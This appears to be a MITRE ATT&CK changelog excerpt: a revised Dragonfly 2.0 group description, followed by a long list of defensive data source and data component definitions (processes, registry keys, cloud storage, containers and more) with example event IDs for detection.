| modified | 2020-10-15 20:14:58.980000+00:00 | 2021-10-14 20:07:00.932000+00:00 |
| description | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least March 2016. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) | [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) is a suspected Russian group that has targeted government entities and multiple U.S. critical infrastructure sectors since at least December 2015. (Citation: US-CERT TA18-074A) (Citation: Symantec Dragonfly Sept 2017) There is debate over the extent of overlap between [Dragonfly 2.0](https://attack.mitre.org/groups/G0074) and [Dragonfly](https://attack.mitre.org/groups/G0035), but there is sufficient evidence to lead to these being tracked as two separate groups. (Citation: Fortune Dragonfly 2.0 Sept 2017)(Citation: Dragos DYMALLOY ) |
| x_mitre_version | 1.3 | 2.1 |
Current version: 1.0
Description: Use a data loss prevention (DLP) strategy to categorize sensitive data, identify data formats indicative of personal identifiable information (PII), and restrict exfiltration of sensitive data.(Citation: PurpleSec Data Loss Prevention)
Current version: 1.0
Description: A database and set of services that allows administrators to manage permissions, access to network resources, and stored data objects (user, group, application, or devices)(Citation: Microsoft AD DS Getting Started)
Current version: 1.0
Description: Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)
Current version: 1.0
Description: A digital document, which highlights information such as the owner's identity, used to instill trust in public keys used while encrypting network communications
Current version: 1.0
Description: Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)
Current version: 1.0
Description: Data object storage infrastructure hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)
Current version: 1.0
Description: A set of containerized computing resources that are managed together but have separate nodes to execute various tasks and/or applications(Citation: Kube Cluster Admin)(Citation: Kube Cluster Info)
Current version: 1.0
Description: A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)
Current version: 1.0
Description: A standard unit of virtualized software that packages up code and all its dependencies so the application runs quickly and reliably from one computing environment to another(Citation: Docker Docs Container)
Current version: 1.0
Description: Information obtained (commonly through registration or activity logs) regarding one or more IP addresses registered with human readable names (ex: mitre.org)
Current version: 1.0
Description: A non-volatile data storage device (hard drive, floppy disk, USB flash drive) with at least one formatted partition, typically mounted to the file system and/or assigned a drive letter(Citation: Sysmon EID 9)
Current version: 1.0
Description: A computer program that operates or controls a particular type of device that is attached to a computer. Provides a software interface to hardware devices, enabling operating systems and other computer programs to access hardware functions without needing to know precise details about the hardware being used(Citation: IOKit Fundamentals)(Citation: Windows Getting Started Drivers)
Current version: 1.0
Description: A computer resource object, managed by the I/O system, for storing data (such as images, text, videos, computer programs, or any wide variety of other media)(Citation: Microsoft File Mgmt)
Current version: 1.0
Description: A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)
Current version: 1.0
Description: Computer software that provides low-level control for the hardware and device(s) of a host, such as BIOS or UEFI/EFI
Current version: 1.0
Description: A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)
Current version: 1.0
Description: A single file used to deploy a virtual machine/bootable disk into an on-premise or third-party cloud environment(Citation: Microsoft Image)(Citation: Amazon AMI)
Current version: 1.0
Description: A virtual server environment which runs workloads, hosted on-premise or by third-party cloud providers(Citation: Amazon VM)(Citation: Google VM)
Current version: 1.0
Description: Information obtained (commonly via active network traffic probes or web crawling) regarding various types of resources and servers connected to the public Internet
Current version: 1.0
Description: A computer program, at the core of a computer OS, that resides in memory and facilitates interactions between hardware and software components(Citation: STIG Audit Kernel Modules)(Citation: Init Man Page)
Current version: 1.0
Description: Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorizaton(Citation: Microsoft Audit Logon Events)
Current version: 1.0
Description: Information obtained (via shared or submitted samples) regarding malicious software (droppers, backdoors, etc.) used by adversaries
Current version: 1.0
Description: Executable files consisting of one or more shared classes and interfaces, such as portable executable (PE) format binaries/dynamic link libraries (DLL), executable and linkable format (ELF) binaries/shared libraries, and Mach-O format binaries/shared libraries(Citation: Microsoft LoadLibrary)(Citation: Microsoft Module Class)
Current version: 1.0
Description: Mechanisms that allow inter-process communication locally or over the network. A named pipe is usually found as a file and processes attach to it(Citation: Microsoft Named Pipes)
Current version: 1.0
Description: A storage resource (typically a folder or drive) made available from one host to others using network protocols, such as Server Message Block (SMB) or Network File System (NFS)(Citation: Microsoft NFS Overview)
Current version: 1.0
Description: Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)
Current version: 1.0
Description: A malicious online profile representing a user commonly used by adversaries to social engineer or otherwise target victims
Current version: 1.0
Description: A single unit of shared resources within a cluster, comprised of one or more containers(Citation: Kube Kubectl)(Citation: Kube Pod)
Current version: 1.0
Description: Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)
Current version: 1.0
Description: Automated tasks that can be executed at a specific time or on a recurring schedule running in the background (ex: Cron daemon, task scheduler, BITS)(Citation: Microsoft Tasks)
Current version: 1.0
Description: A file or stream containing a list of commands, allowing them to be launched in sequence(Citation: Microsoft PowerShell Logging)(Citation: FireEye PowerShell Logging)(Citation: Microsoft AMSI)
Current version: 1.0
Description: Information from host telemetry providing insights about system status, errors, or other notable functional activity
Current version: 1.0
Description: A computer process that is configured to execute continuously in the background and perform system tasks, in some cases before any user has logged in(Citation: Microsoft Services)(Citation: Linux Services Run Levels)
Current version: 1.0
Description: A point-in-time copy of cloud volumes (files, settings, etc.) that can be created and/or deployed in cloud environments(Citation: Microsoft Snapshot)(Citation: Amazon Snapshots)
Current version: 1.0
Description: A profile representing a user, device, service, or application used to authenticate and access resources
Current version: 1.0
Description: Block object storage hosted on-premise or by third-party providers, typically made available to resources as virtualized hard drives(Citation: Amazon S3)(Citation: Azure Blob Storage)(Citation: Google Cloud Storage)
Current version: 1.0
Description: The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers(Citation: Microsoft WMI System Classes)(Citation: Microsoft WMI Architecture)
Current version: 1.0
Description: Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)
Current version: 1.0
Description: A Windows OS hierarchical database that stores much of the information and settings for software programs, hardware devices, user preferences, and operating-system configurations(Citation: Microsoft Registry)
Current version: 1.0
Description: Queried domain name system (DNS) registry data highlighting current domain to IP address resolutions (ex: dig/nslookup queries)
Current version: 1.0
Description: A user requested active directory credentials, such as a ticket or token (ex: Windows EID 4769)
Current version: 1.0
Description: Opening of an active directory object, typically to collect/read its value (ex: Windows EID 4661)
Current version: 1.0
Description: Initial construction of a new active directory object (ex: Windows EID 5137)
Current version: 1.0
Description: Removal of an active directory object (ex: Windows EID 5141)
Current version: 1.0
Description: Changes made to an active directory object (ex: Windows EID 5163 or 5136)
Current version: 1.0
Description: Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Current version: 1.0
Description: Queried or logged information highlighting current and expired digital certificates (ex: Certificate transparency)
Current version: 1.0
Description: Deactivation or stoppage of a cloud service (ex: AWS Cloudtrail StopLogging)
Current version: 1.0
Description: An extracted list of cloud services (ex: AWS ECS ListServices)
Current version: 1.0
Description: Contextual data about a cloud service and activity around it such as name, type, or purpose/function
Current version: 1.0
Description: Changes made to a cloud service, including its settings and/or data (ex: AWS CloudTrail DeleteTrail or DeleteConfigRule)
Current version: 1.0
Description: Opening of a cloud storage infrastructure, typically to collect/read its value (ex: AWS S3 GetObject)
Current version: 1.0
Description: Initial construction of new cloud storage infrastructure (ex: AWS S3 CreateBucket)
Current version: 1.0
Description: Removal of cloud storage infrastructure (ex: AWS S3 DeleteBucket)
Current version: 1.0
Description: An extracted list of cloud storage infrastructure (ex: AWS S3 ListBuckets or ListObjects)
Current version: 1.0
Description: Contextual data about cloud storage infrastructure and activity around it such as name, size, or owner
Current version: 1.0
Description: Changes made to cloud storage infrastructure, including its settings and/or data (ex: AWS S3 PutObject or PutObjectAcl)
Current version: 1.0
Description: Contextual data about a cluster and activity around it such as name, namespace, age, or status
Current version: 1.0
Description: Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Current version: 1.0
Description: Initial construction of a new container (ex: docker create
Current version: 1.0
Description: An extracted list of containers (ex: docker ps)
Current version: 1.0
Description: Contextual data about a container and activity around it such as name, ID, image, or status
Current version: 1.0
Description: Activation or invocation of a container (ex: docker start or docker restart)
Current version: 1.0
Description: Information about domain name assignments and other domain metadata (ex: WHOIS)
Current version: 1.0
Description: Opening of a data storage device with an assigned drive letter or mount point
Current version: 1.0
Description: Initial construction of a drive letter or mount point to a data storage device
Current version: 1.0
Description: Changes made to a drive letter or mount point of a data storage device
Current version: 1.0
Description: Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Current version: 1.0
Description: Contextual data about a driver and activity around it such as driver issues reporting or integrity (page hash, code) checking
Current version: 1.0
Description: Opening a file, which makes the file contents available to the requestor (ex: Windows EID 4663)
Current version: 1.0
Description: Initial construction of a new file (ex: Sysmon EID 11)
Current version: 1.0
Description: Removal of a file (ex: Sysmon EID 23)
Current version: 1.0
Description: Contextual data about a file, which may include information such as name, the content (ex: signature, headers, or data/media), user/ower, permissions, etc.
Current version: 1.0
Description: Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Current version: 1.0
Description: Deactivation or stoppage of a cloud service (ex: Write/Delete entries within Azure Firewall Activity Logs)
Current version: 1.0
Description: An extracted list of available firewalls and/or their associated settings/rules (ex: Azure Network Firewall CLI Show commands)
Current version: 1.0
Description: Contextual data about a firewall and activity around it such as name, policy, or status
Current version: 1.0
Description: Changes made to a firewall rule, typically to allow/block specific network traffic (ex: Windows EID 4950 or Write/Delete entries within Azure Firewall Rule Collection Activity Logs)
Current version: 1.0
Description: Changes made to firmware, including its settings and/or data, such as MBR (Master Boot Record) and VBR (Volume Boot Record)
Current version: 1.0
Description: An extracted list of available groups and/or their associated settings (ex: AWS list-groups)
Current version: 1.0
Description: Contextual data about a group which describes group and activity around it, such as name, permissions, or user accounts within the group
Current version: 1.0
Description: Changes made to a group, such as membership, name, or permissions (ex: Windows EID 4728 or 4732, AWS IAM UpdateGroup)
Current version: 1.0
Description: Logging, messaging, and other artifacts highlighting the health of host sensors (ex: metrics, errors, and/or exceptions from logging applications)
Current version: 1.0
Description: Initial construction of a virtual machine image (ex: Azure Compute Service Images PUT)
Current version: 1.0
Description: Removal of a virtual machine image (ex: Azure Compute Service Images DELETE)
Current version: 1.0
Description: Contextual data about a virtual machine image such as name, resource group, state, or type
Current version: 1.0
Description: Changes made to a virtual machine image, including setting and/or control data (ex: Azure Compute Service Images PATCH)
Current version: 1.0
Description: Initial construction of a new instance (ex: instance.insert within GCP Audit Logs)
Current version: 1.0
Description: Removal of an instance (ex: instance.delete within GCP Audit Logs)
Current version: 1.0
Description: An extracted list of instances within a cloud environment (ex: instance.list within GCP Audit Logs)
Current version: 1.0
Description: Contextual data about an instance and activity around it such as name, type, or status
Current version: 1.0
Description: Changes made to an instance, including its settings and/or control data (ex: instance.addResourcePolicies or instances.setMetadata within GCP Audit Logs)
Current version: 1.0
Description: Activation or invocation of an instance (ex: instance.start within GCP Audit Logs)
Current version: 1.0
Description: Deactivation or stoppage of an instance (ex: instance.stop within GCP Audit Logs)
Current version: 1.0
Description: An object file that contains code to extend the running kernel of an OS, typically used to add support for new hardware (as device drivers) and/or filesystems, or for adding system calls
Current version: 1.0
Description: Initial construction of a new user logon session (ex: Windows EID 4624, /var/log/utmp, or /var/log/wmtp)
Current version: 1.0
Description: Contextual data about a logon session, such as username, logon type, access tokens (security context, user SIDs, logon identifiers, and logon SID), and any activity associated within it
Current version: 1.0
Description: Code, strings, and other signatures that compromise a malicious payload
Current version: 1.0
Description: Contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information
Current version: 1.0
Description: Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Current version: 1.0
Description: Contextual data about a named pipe on a system, including pipe name and creating process (ex: Sysmon EIDs 17-18)
Current version: 1.0
Description: Initial construction of a network connection, such as capturing socket information with a source/destination IP and port(s) (ex: Windows EID 5156, Sysmon EID 3, or Zeek conn.log)
Current version: 1.0
Description: Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)
Current version: 1.0
Description: Logged network traffic data showing both protocol header and body values (ex: PCAP)
Current version: 1.0
Description: Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Current version: 1.0
Description: Operating system function/method calls executed by a process
Current version: 1.0
Description: Logged domain name system (DNS) data highlighting timelines of domain to IP address resolutions (ex: passive DNS)
Current version: 1.0
Description: Initial construction of a new pod (ex: kubectl apply|run)
Current version: 1.0
Description: An extracted list of pods within a cluster (ex: kubectl get pods)
Current version: 1.0
Description: Contextual data about a pod and activity around it such as name, ID, namespace, or status
Current version: 1.0
Description: Changes made to a pod, including its settings and/or control data (ex: kubectl set|patch|edit)
Current version: 1.0
Description: Opening of a process by another process, typically to read memory of the target process (ex: Sysmon EID 10)
Current version: 1.0
Description: Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Current version: 1.0
Description: Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.
Current version: 1.0
Description: Changes made to a process, or its contents, typically to write and/or execute code in the memory of the target process (ex: Sysmon EID 8)
Current version: 1.0
Description: Exit of a running process (ex: Sysmon EID 5 or Windows EID 4689)
Current version: 1.0
Description: Logged network traffic in response to a scan showing both protocol header and body values
Current version: 1.0
Description: Contextual data about an Internet-facing resource gathered from a scan, such as running services or ports
Current version: 1.0
Description: Initial construction of a new scheduled job (ex: Windows EID 4698 or /var/log cron logs)
Current version: 1.0
Description: Contextual data about a scheduled job, which may include information such as name, timing, command(s), etc.
Current version: 1.0
Description: Changes made to a scheduled job, such as modifications to the execution launch (ex: Windows EID 4702 or /var/log cron logs)
Current version: 1.0
Description: Launching a list of commands through a script file (ex: Windows EID 4104)
Current version: 1.0
Description: Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Current version: 1.0
Description: Contextual data about a service/daemon, which may include information such as name, service executable, start type, etc.
Current version: 1.0
Description: Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Current version: 1.0
Description: Initial construction of a new snapshot (ex: AWS create-snapshot)
Current version: 1.0
Description: Removal of a snapshot (ex: AWS delete-snapshot)
Current version: 1.0
Description: An extracted list of snapshops within a cloud environment (ex: AWS describe-snapshots)
Current version: 1.0
Description: Contextual data about a snapshot, which may include information such as ID, type, and status
Current version: 1.0
Description: Changes made to a snapshop, such as metadata and control data (ex: AWS modify-snapshot-attribute)
Current version: 1.0
Description: Established, compromised, or otherwise acquired social media personas
Current version: 1.0
Description: An attempt by a user to gain access to a network or computing resource, often by providing credentials (ex: Windows EID 4625 or /var/log/auth.log)
Current version: 1.0
Description: Initial construction of a new account (ex: Windows EID 4720 or /etc/passwd logs)
Current version: 1.0
Description: Removal of an account (ex: Windows EID 4726 or /var/log access/authentication logs)
Current version: 1.0
Description: Contextual data about an account, which may include a username, user ID, environmental data, etc.
Current version: 1.0
Description: Changes made to an account, such as permissions and/or membership in specific groups (ex: Windows EID 4738 or /var/log access/authentication logs)
Current version: 1.0
Description: Initial construction of a cloud volume (ex: AWS create-volume)
Current version: 1.0
Description: Removal of a a cloud volume (ex: AWS delete-volume)
Current version: 1.0
Description: An extracted list of available volumes within a cloud environment (ex: AWS describe-volumes)
Current version: 1.0
Description: Contextual data about a cloud volume and activity around it, such as id, type, state, and size
Current version: 1.0
Description: Changes made to a cloud volume, including its settings and control data (ex: AWS modify-volume)
Current version: 1.0
Description: Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Current version: 1.0
Description: Initial construction of new web credential material (ex: Windows EID 1200 or 4769)
Current version: 1.0
Description: An attempt by a user to gain access to a network or computing resource by providing web credentials (ex: Windows EID 1202)
Current version: 1.0
Description: Opening a Registry Key, typically to read the associated value (ex: Windows EID 4656)
Current version: 1.0
Description: Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Current version: 1.0
Description: Removal of a Registry Key (ex: Windows EID 4658 or Sysmon EID 12)
Current version: 1.0
Description: Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)